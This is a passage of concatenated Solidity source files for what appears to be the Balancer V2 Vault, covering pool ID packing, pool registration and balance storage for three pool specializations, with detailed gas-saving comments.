_require(_isPoolRegistered[poolId], Errors.INVALID_POOL_ID);
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool, and the caller is the Pool's contract.
*/
function _ensurePoolIsSender(bytes32 poolId) private view {
_ensureRegisteredPool(poolId);
_require(msg.sender == _getPoolAddress(poolId), Errors.CALLER_NOT_POOL);
}
function registerPool(PoolSpecialization specialization)
external
override
nonReentrant
whenNotPaused
returns (bytes32)
{
// Each Pool is assigned a unique ID based on an incrementing nonce. This assumes there will never be more than
// 2**80 Pools, and the nonce will not overflow.
bytes32 poolId = _toPoolId(msg.sender, specialization, uint80(_nextPoolNonce));
_require(!_isPoolRegistered[poolId], Errors.INVALID_POOL_ID); // Should never happen as Pool IDs are unique.
_isPoolRegistered[poolId] = true;
_nextPoolNonce += 1;
// Note that msg.sender is the pool's contract
emit PoolRegistered(poolId, msg.sender, specialization);
return poolId;
}
function getPool(bytes32 poolId)
external
view
override
withRegisteredPool(poolId)
returns (address, PoolSpecialization)
{
return (_getPoolAddress(poolId), _getPoolSpecialization(poolId));
}
/**
* @dev Creates a Pool ID.
*
* These are deterministically created by packing the Pool's contract address and its specialization setting into
* the ID. This saves gas by making this data easily retrievable from a Pool ID with no storage accesses.
*
* Since a single contract can register multiple Pools, a unique nonce must be provided to ensure Pool IDs are
* unique.
*
* Pool IDs have the following layout:
* | 20 bytes pool contract address | 2 bytes specialization setting | 10 bytes nonce |
* MSB LSB
*
* 2 bytes for the specialization setting is a bit overkill: there only three of them, which means two bits would
* suffice. However, there's nothing else of interest to store in this extra space.
*/
function _toPoolId(
address pool,
PoolSpecialization specialization,
uint80 nonce
) internal pure returns (bytes32) {
bytes32 serialized;
serialized |= bytes32(uint256(nonce));
serialized |= bytes32(uint256(specialization)) << (10 * 8);
serialized |= bytes32(uint256(pool)) << (12 * 8);
return serialized;
}
/**
* @dev Returns the address of a Pool's contract.
*
* Due to how Pool IDs are created, this is done with no storage accesses and costs little gas.
*/
function _getPoolAddress(bytes32 poolId) internal pure returns (address) {
// 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask,
// since the logical shift already sets the upper bits to zero.
return address(uint256(poolId) >> (12 * 8));
}
/**
* @dev Returns the specialization setting of a Pool.
*
* Due to how Pool IDs are created, this is done with no storage accesses and costs little gas.
*/
function _getPoolSpecialization(bytes32 poolId) internal pure returns (PoolSpecialization specialization) {
// 10 byte logical shift left to remove the nonce, followed by a 2 byte mask to remove the address.
uint256 value = uint256(poolId >> (10 * 8)) & (2**(2 * 8) - 1);
// Casting a value into an enum results in a runtime check that reverts unless the value is within the enum's
// range. Passing an invalid Pool ID to this function would then result in an obscure revert with no reason
// string: we instead perform the check ourselves to help in error diagnosis.
// There are three Pool specialization settings: general, minimal swap info and two tokens, which correspond to
// values 0, 1 and 2.
_require(value < 3, Errors.INVALID_POOL_ID);
// Because we have checked that `value` is within the enum range, we can use assembly to skip the runtime check.
// solhint-disable-next-line no-inline-assembly
assembly {
specialization := value
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/EnumerableMap.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
abstract contract GeneralPoolsBalance {
using BalanceAllocation for bytes32;
using EnumerableMap for EnumerableMap.IERC20ToBytes32Map;
// Data for Pools with the General specialization setting
//
// These Pools use the IGeneralPool interface, which means the Vault must query the balance for *all* of their
// tokens in every swap. If we kept a mapping of token to balance plus a set (array) of tokens, it'd be very gas
// intensive to read all token addresses just to then do a lookup on the balance mapping.
//
// Instead, we use our customized EnumerableMap, which lets us read the N balances in N+1 storage accesses (one for
// each token in the Pool), access the index of any 'token in' a single read (required for the IGeneralPool call),
// and update an entry's value given its index.
// Map of token -> balance pairs for each Pool with this specialization. Many functions rely on storage pointers to
// a Pool's EnumerableMap to save gas when computing storage slots.
mapping(bytes32 => EnumerableMap.IERC20ToBytes32Map) internal _generalPoolsBalances;
/**
* @dev Registers a list of tokens in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `tokens` must not be registered in the Pool
* - `tokens` must not contain duplicates
*/
function _registerGeneralPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
// EnumerableMaps require an explicit initial value when creating a key-value pair: we use zero, the same
// value that is found in uninitialized storage, which corresponds to an empty balance.
bool added = poolBalances.set(tokens[i], 0);
_require(added, Errors.TOKEN_ALREADY_REGISTERED);
}
}
/**
* @dev Deregisters a list of tokens in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `tokens` must be registered in the Pool
* - `tokens` must have zero balance in the Vault
* - `tokens` must not contain duplicates
*/
function _deregisterGeneralPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
bytes32 currentBalance = _getGeneralPoolBalance(poolBalances, token);
_require(currentBalance.isZero(), Errors.NONZERO_TOKEN_BALANCE);
// We don't need to check remove's return value, since _getGeneralPoolBalance already checks that the token
// was registered.
poolBalances.remove(token);
}
}
/**
* @dev Sets the balances of a General Pool's tokens to `balances`.
*
* WARNING: this assumes `balances` has the same length and order as the Pool's tokens.
*/
function _setGeneralPoolBalances(bytes32 poolId, bytes32[] memory balances) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < balances.length; ++i) {
// Since we assume all balances are properly ordered, we can simply use `unchecked_setAt` to avoid one less
// storage read per token.
poolBalances.unchecked_setAt(i, balances[i]);
}
}
/**
* @dev Transforms `amount` of `token`'s balance in a General Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*/
function _generalPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateGeneralPoolBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a General Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*/
function _generalPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateGeneralPoolBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a General Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setGeneralPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateGeneralPoolBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a General Pool to the result of the `mutation` function when called with the
* current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateGeneralPoolBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) private returns (int256) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
bytes32 currentBalance = _getGeneralPoolBalance(poolBalances, token);
bytes32 newBalance = mutation(currentBalance, amount);
poolBalances.set(token, newBalance);
return newBalance.managedDelta(currentBalance);
}
/**
* @dev Returns an array with all the tokens and balances in a General Pool. The order may change when tokens are
* registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*/
function _getGeneralPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
tokens = new IERC20[](poolBalances.length());
balances = new bytes32[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
// Because the iteration is bounded by `tokens.length`, which matches the EnumerableMap's length, we can use
// `unchecked_at` as we know `i` is a valid token index, saving storage reads.
(tokens[i], balances[i]) = poolBalances.unchecked_at(i);
}
}
/**
* @dev Returns the balance of a token in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `token` must be registered in the Pool
*/
function _getGeneralPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
return _getGeneralPoolBalance(poolBalances, token);
}
/**
* @dev Same as `_getGeneralPoolBalance` but using a Pool's storage pointer, which saves gas in repeated reads and
* writes.
*/
function _getGeneralPoolBalance(EnumerableMap.IERC20ToBytes32Map storage poolBalances, IERC20 token)
private
view
returns (bytes32)
{
return poolBalances.get(token, Errors.TOKEN_NOT_REGISTERED);
}
/**
* @dev Returns true if `token` is registered in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*/
function _isGeneralPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
return poolBalances.contains(token);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/EnumerableSet.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
import "../PoolRegistry.sol";
abstract contract MinimalSwapInfoPoolsBalance is PoolRegistry {
using BalanceAllocation for bytes32;
using EnumerableSet for EnumerableSet.AddressSet;
// Data for Pools with the Minimal Swap Info specialization setting
//
// These Pools use the IMinimalSwapInfoPool interface, and so the Vault must read the balance of the two tokens
// in the swap. The best solution is to use a mapping from token to balance, which lets us read or write any token's
// balance in a single storage access.
//
// We also keep a set of registered tokens. Because tokens with non-zero balance are by definition registered, in
// some balance getters we skip checking for token registration if a non-zero balance is found, saving gas by
// performing a single read instead of two.
mapping(bytes32 => mapping(IERC20 => bytes32)) internal _minimalSwapInfoPoolsBalances;
mapping(bytes32 => EnumerableSet.AddressSet) internal _minimalSwapInfoPoolsTokens;
/**
* @dev Registers a list of tokens in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*
* Requirements:
*
* - `tokens` must not be registered in the Pool
* - `tokens` must not contain duplicates
*/
function _registerMinimalSwapInfoPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
bool added = poolTokens.add(address(tokens[i]));
_require(added, Errors.TOKEN_ALREADY_REGISTERED);
// Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty
// balance.
}
}
/**
* @dev Deregisters a list of tokens in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*
* Requirements:
*
* - `tokens` must be registered in the Pool
* - `tokens` must have zero balance in the Vault
* - `tokens` must not contain duplicates
*/
function _deregisterMinimalSwapInfoPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
_require(_minimalSwapInfoPoolsBalances[poolId][token].isZero(), Errors.NONZERO_TOKEN_BALANCE);
// For consistency with other Pool specialization settings, we explicitly reset the balance (which may have
// a non-zero last change block).
delete _minimalSwapInfoPoolsBalances[poolId][token];
bool removed = poolTokens.remove(address(token));
_require(removed, Errors.TOKEN_NOT_REGISTERED);
}
}
/**
* @dev Sets the balances of a Minimal Swap Info Pool's tokens to `balances`.
*
* WARNING: this assumes `balances` has the same length and order as the Pool's tokens.
*/
function _setMinimalSwapInfoPoolBalances(
bytes32 poolId,
IERC20[] memory tokens,
bytes32[] memory balances
) internal {
for (uint256 i = 0; i < tokens.length; ++i) {
_minimalSwapInfoPoolsBalances[poolId][tokens[i]] = balances[i];
}
}
/**
* @dev Transforms `amount` of `token`'s balance in a Minimal Swap Info Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*/
function _minimalSwapInfoPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Minimal Swap Info Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*/
function _minimalSwapInfoPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a Minimal Swap Info Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setMinimalSwapInfoPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a Minimal Swap Info Pool to the result of the `mutation` function when called with
* the current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateMinimalSwapInfoPoolBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) internal returns (int256) {
bytes32 currentBalance = _getMinimalSwapInfoPoolBalance(poolId, token);
bytes32 newBalance = mutation(currentBalance, amount);
_minimalSwapInfoPoolsBalances[poolId][token] = newBalance;
return newBalance.managedDelta(currentBalance);
}
/**
* @dev Returns an array with all the tokens and balances in a Minimal Swap Info Pool. The order may change when
* tokens are registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*/
function _getMinimalSwapInfoPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
tokens = new IERC20[](poolTokens.length());
balances = new bytes32[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
// Because the iteration is bounded by `tokens.length`, which matches the EnumerableSet's length, we can use
// `unchecked_at` as we know `i` is a valid token index, saving storage reads.
IERC20 token = IERC20(poolTokens.unchecked_at(i));
tokens[i] = token;
balances[i] = _minimalSwapInfoPoolsBalances[poolId][token];
}
}
/**
* @dev Returns the balance of a token in a Minimal Swap Info Pool.
*
* Requirements:
*
* - `poolId` must be a Minimal Swap Info Pool
* - `token` must be registered in the Pool
*/
function _getMinimalSwapInfoPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
bytes32 balance = _minimalSwapInfoPoolsBalances[poolId][token];
// A non-zero balance guarantees that the token is registered. If zero, we manually check if the token is
// registered in the Pool. Token registration implies that the Pool is registered as well, which lets us save
// gas by not performing the check.
bool tokenRegistered = balance.isNotZero() || _minimalSwapInfoPoolsTokens[poolId].contains(address(token));
if (!tokenRegistered) {
// The token might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
return balance;
}
/**
* @dev Returns true if `token` is registered in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*/
function _isMinimalSwapInfoPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
return poolTokens.contains(address(token));
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
import "../PoolRegistry.sol";
abstract contract TwoTokenPoolsBalance is PoolRegistry {
using BalanceAllocation for bytes32;
// Data for Pools with the Two Token specialization setting
//
// These are similar to the Minimal Swap Info Pool case (because the Pool only has two tokens, and therefore there
// are only two balances to read), but there's a key difference in how data is stored. Keeping a set makes little
// sense, as it will only ever hold two tokens, so we can just store those two directly.
//
// The gas savings associated with using these Pools come from how token balances are stored: cash amounts for token
// A and token B are packed together, as are managed amounts. Because only cash changes in a swap, there's no need
// to write to this second storage slot. A single last change block number for both tokens is stored with the packed
// cash fields.
struct TwoTokenPoolBalances {
bytes32 sharedCash;
bytes32 sharedManaged;
}
// We could just keep a mapping from Pool ID to TwoTokenSharedBalances, but there's an issue: we wouldn't know to
// which tokens those balances correspond. This would mean having to also check which are registered with the Pool.
//
// What we do instead to save those storage reads is keep a nested mapping from the token pair hash to the balances
// struct. The Pool only has two tokens, so only a single entry of this mapping is set (the one that corresponds to
// that pair's hash).
//
// This has the trade-off of making Vault code that interacts with these Pools cumbersome: both balances must be
// accessed at the same time by using both token addresses, and some logic is needed to determine how the pair hash
// is computed. We do this by sorting the tokens, calling the token with the lowest numerical address value token A,
// and the other one token B. In functions where the token arguments could be either A or B, we use X and Y instead.
//
// If users query a token pair containing an unregistered token, the Pool will generate a hash for a mapping entry
// that was not set, and return zero balances. Non-zero balances are only possible if both tokens in the pair
// are registered with the Pool, which means we don't have to check the TwoTokenPoolTokens struct, and can save
// storage reads.
struct TwoTokenPoolTokens {
IERC20 tokenA;
IERC20 tokenB;
mapping(bytes32 => TwoTokenPoolBalances) balances;
}
mapping(bytes32 => TwoTokenPoolTokens) private _twoTokenPoolTokens;
/**
* @dev Registers tokens in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*
* Requirements:
*
* - `tokenX` and `tokenY` must not be the same
* - The tokens must be ordered: tokenX < tokenY
*/
function _registerTwoTokenPoolTokens(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
) internal {
// Not technically true since we didn't register yet, but this is consistent with the error messages of other
// specialization settings.
_require(tokenX != tokenY, Errors.TOKEN_ALREADY_REGISTERED);
_require(tokenX < tokenY, Errors.UNSORTED_TOKENS);
// A Two Token Pool with no registered tokens is identified by having zero addresses for tokens A and B.
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
_require(poolTokens.tokenA == IERC20(0) && poolTokens.tokenB == IERC20(0), Errors.TOKENS_ALREADY_SET);
// Since tokenX < tokenY, tokenX is A and tokenY is B
poolTokens.tokenA = tokenX;
poolTokens.tokenB = tokenY;
// Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty
// balance.
}
/**
* @dev Deregisters tokens in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*
* Requirements:
*
* - `tokenX` and `tokenY` must be registered in the Pool
* - both tokens must have zero balance in the Vault
*/
function _deregisterTwoTokenPoolTokens(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
) internal {
(
bytes32 balanceA,
bytes32 balanceB,
TwoTokenPoolBalances storage poolBalances
) = _getTwoTokenPoolSharedBalances(poolId, tokenX, tokenY);
_require(balanceA.isZero() && balanceB.isZero(), Errors.NONZERO_TOKEN_BALANCE);
delete _twoTokenPoolTokens[poolId];
// For consistency with other Pool specialization settings, we explicitly reset the packed cash field (which may
// have a non-zero last change block).
delete poolBalances.sharedCash;
}
/**
* @dev Sets the cash balances of a Two Token Pool's tokens.
*
* WARNING: this assumes `tokenA` and `tokenB` are the Pool's two registered tokens, and are in the correct order.
*/
function _setTwoTokenPoolCashBalances(
bytes32 poolId,
IERC20 tokenA,
bytes32 balanceA,
IERC20 tokenB,
bytes32 balanceB
) internal {
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
TwoTokenPoolBalances storage poolBalances = _twoTokenPoolTokens[poolId].balances[pairHash];
poolBalances.sharedCash = BalanceAllocation.toSharedCash(balanceA, balanceB);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Two Token Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*/
function _twoTokenPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Two Token Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*/
function _twoTokenPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a Two Token Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setTwoTokenPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a Two Token Pool to the result of the `mutation` function when called with
* the current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateTwoTokenPoolSharedBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) private returns (int256) {
(
TwoTokenPoolBalances storage balances,
IERC20 tokenA,
bytes32 balanceA,
,
bytes32 balanceB
) = _getTwoTokenPoolBalances(poolId);
int256 delta;
if (token == tokenA) {
bytes32 newBalance = mutation(balanceA, amount);
delta = newBalance.managedDelta(balanceA);
balanceA = newBalance;
} else {
// token == tokenB
bytes32 newBalance = mutation(balanceB, amount);
delta = newBalance.managedDelta(balanceB);
balanceB = newBalance;
}
balances.sharedCash = BalanceAllocation.toSharedCash(balanceA, balanceB);
balances.sharedManaged = BalanceAllocation.toSharedManaged(balanceA, balanceB);
return delta;
}
/*
* @dev Returns an array with all the tokens and balances in a Two Token Pool. The order may change when
* tokens are registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*/
function _getTwoTokenPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
(, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);
// Both tokens will either be zero (if unregistered) or non-zero (if registered), but we keep the full check for
// clarity.
if (tokenA == IERC20(0) || tokenB == IERC20(0)) {
return (new IERC20[](0), new bytes32[](0));
}
// Note that functions relying on this getter expect tokens to be properly ordered, so we use the (A, B)
// ordering.
tokens = new IERC20[](2);
tokens[0] = tokenA;
tokens[1] = tokenB;
balances = new bytes32[](2);
balances[0] = balanceA;
balances[1] = balanceB;
}
/**
* @dev Same as `_getTwoTokenPoolTokens`, except it returns the two tokens and balances directly instead of using
* an array, as well as a storage pointer to the `TwoTokenPoolBalances` struct, which can be used to update it
* without having to recompute the pair hash and storage slot.
*/
function _getTwoTokenPoolBalances(bytes32 poolId)
private
view
returns (
TwoTokenPoolBalances storage poolBalances,
IERC20 tokenA,
bytes32 balanceA,
IERC20 tokenB,
bytes32 balanceB
)
{
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
tokenA = poolTokens.tokenA;
tokenB = poolTokens.tokenB;
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
poolBalances = poolTokens.balances[pairHash];
bytes32 sharedCash = poolBalances.sharedCash;
bytes32 sharedManaged = poolBalances.sharedManaged;
balanceA = BalanceAllocation.fromSharedToBalanceA(sharedCash, sharedManaged);
balanceB = BalanceAllocation.fromSharedToBalanceB(sharedCash, sharedManaged);
}
/**
* @dev Returns the balance of a token in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* This function is convenient but not particularly gas efficient, and should be avoided during gas-sensitive
* operations, such as swaps. For those, _getTwoTokenPoolSharedBalances provides a more flexible interface.
*
* Requirements:
*
* - `token` must be registered in the Pool
*/
function _getTwoTokenPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
// We can't just read the balance of token, because we need to know the full pair in order to compute the pair
// hash and access the balance mapping. We therefore rely on `_getTwoTokenPoolBalances`.
(, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);
if (token == tokenA) {
return balanceA;
} else if (token == tokenB) {
return balanceB;
} else {
_revert(Errors.TOKEN_NOT_REGISTERED);
}
}
/**
* @dev Returns the balance of the two tokens in a Two Token Pool.
*
* The returned balances are those of token A and token B, where token A is the lowest of token X and token Y, and
* token B the other.
*
* This function also returns a storage pointer to the TwoTokenPoolBalances struct associated with the token pair,
* which can be used to update it without having to recompute the pair hash and storage slot.
*
* Requirements:
*
* - `poolId` must be a Minimal Swap Info Pool
* - `tokenX` and `tokenY` must be registered in the Pool
*/
function _getTwoTokenPoolSharedBalances(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
)
internal
view
returns (
bytes32 balanceA,
bytes32 balanceB,
TwoTokenPoolBalances storage poolBalances
)
{
(IERC20 tokenA, IERC20 tokenB) = _sortTwoTokens(tokenX, tokenY);
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
poolBalances = _twoTokenPoolTokens[poolId].balances[pairHash];
// Because we're reading balances using the pair hash, if either token X or token Y is not registered then
// *both* balance entries will be zero.
bytes32 sharedCash = poolBalances.sharedCash;
bytes32 sharedManaged = poolBalances.sharedManaged;
// A non-zero balance guarantees that both tokens are registered. If zero, we manually check whether each
// token is registered in the Pool. Token registration implies that the Pool is registered as well, which
// lets us save gas by not performing the check.
bool tokensRegistered = sharedCash.isNotZero() ||
sharedManaged.isNotZero() ||
(_isTwoTokenPoolTokenRegistered(poolId, tokenA) && _isTwoTokenPoolTokenRegistered(poolId, tokenB));
if (!tokensRegistered) {
// The tokens might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
balanceA = BalanceAllocation.fromSharedToBalanceA(sharedCash, sharedManaged);
balanceB = BalanceAllocation.fromSharedToBalanceB(sharedCash, sharedManaged);
}
/**
* @dev Returns true if `token` is registered in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*/
function _isTwoTokenPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
// The zero address can never be a registered token.
return (token == poolTokens.tokenA || token == poolTokens.tokenB) && token != IERC20(0);
}
/**
* @dev Returns the hash associated with a given token pair.
*/
function _getTwoTokenPairHash(IERC20 tokenA, IERC20 tokenB) private pure returns (bytes32) {
return keccak256(abi.encodePacked(tokenA, tokenB));
}
/**
* @dev Sorts two tokens in ascending order, returning them as a (tokenA, tokenB) tuple.
*/
function _sortTwoTokens(IERC20 tokenX, IERC20 tokenY) private pure returns (IERC20, IERC20) {
return tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/AssetHelpers.sol";
